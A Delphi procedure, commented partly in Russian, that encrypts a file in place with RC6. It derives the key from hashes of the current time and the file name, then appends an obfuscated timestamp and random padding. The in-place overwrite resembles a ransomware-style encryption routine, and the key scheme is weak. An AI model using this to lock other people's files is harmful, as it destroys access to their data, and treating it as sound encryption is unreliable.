procedure CryptFileRC6(fn: string);
var RC6: TDCP_RC6;
     SHA1: TDCP_SHA1;  
     _datetime: String;  
     cdatetime: array [0..18] of Byte;
     rsz: DWord;  
     fsz: DWord;
     MSRandom: TSimpleRandom;  
     musor: TBuf;  
     filename: String;
     Buffer: array of Byte;
     digest: array [0..19] of Byte;  
     digest2: array [0..19] of Byte;  
     key: array [0..31] of Byte;  
     lastbyte: Byte;
     F: File;  
     i,i2: Integer;
begin
if not FileExists(fn) then Exit;
_datetime := DateTimeToStr(Now);
filename := ExtractFileName(fn);

SHA1 := TDCP_SHA1.Create(nil);
SHA1.Init;
SHA1.UpdateStr(_datetime);      
SHA1.Final(digest);
SHA1.Burn;
FreeAndNil(SHA1);

SHA1 := TDCP_SHA1.Create(nil);
SHA1.Init;
SHA1.UpdateStr(filename);
SHA1.Final(digest2);
SHA1.Burn;
FreeAndNil(SHA1);

for i := 0 to 19 do
    key[i] := digest[i];

for i2 := 20 to 31 do
  key[i2] := digest2[i2-20] xor key[i2-20];

for i := 0 to 19 do
  if i mod 2=0 then
   key[i] := key[i] xor digest2[11+(i mod 2)];

AssignFile(F,fn);
Reset(f,1);
if FileSize(f)=0 then Exit;
SetLength(Buffer,FileSize(f));
BlockRead(F,buffer[0],FileSize(f));  
Seek(f,FileSize(f)-1);
BlockRead(F,lastbyte,1);  
RC6 := TDCP_RC6.Create(nil);
RC6.Init(key,SizeOf(key)*8,nil);
RC6.EncryptCFB(buffer[0],buffer[0],High(buffer));
RC6.Burn;
FreeAndNil(RC6);

fsz := FileSize(f);  

rsz := Random(fsz div 4)+(fsz div 10);  
fsz := fsz xor digest2[5];

  //Получаем мусор с помошью стандартного генератора случайных чисел от M$
MSRandom := TSimpleRandom.Create;
MSRandom.Open(PROV_RSA_FULL);
MSRandom.SRandom(rsz,musor);
MSRandom.Close;

for i := 0 to 18 do
  cdatetime[i] := Ord(_datetime[i+1]) xor (rsz xor digest2[6+(i mod 2)]);

rsz := rsz xor digest2[9];

Seek(f,0);
BlockWrite(f,buffer[0],High(Buffer));
BlockWrite(f,cdatetime,SizeOf(cdatetime));
BlockWrite(f,rsz,SizeOf(rsz));
BlockWrite(f,musor[0],rsz);
BlockWrite(f,fsz,SizeOf(fsz));
BlockWrite(f,lastbyte,1);
CloseFile(f);                      //çàïèñûâàåì âñ¸ â ôàéë

FillChar(buffer[0],High(buffer),$00);
FillChar(musor[0],High(musor),$00);
FillChar(key,SizeOf(Key),$00);
FillChar(digest,SizeOf(digest),$00);
FillChar(digest2,SizeOf(digest2),$00);
FillChar(cdatetime,SizeOf(cdatetime),$00);
fsz := 0;
rsz := 0;
lastbyte := 0;
i := 0;
i2 := 0;
_datetime := '';             
end;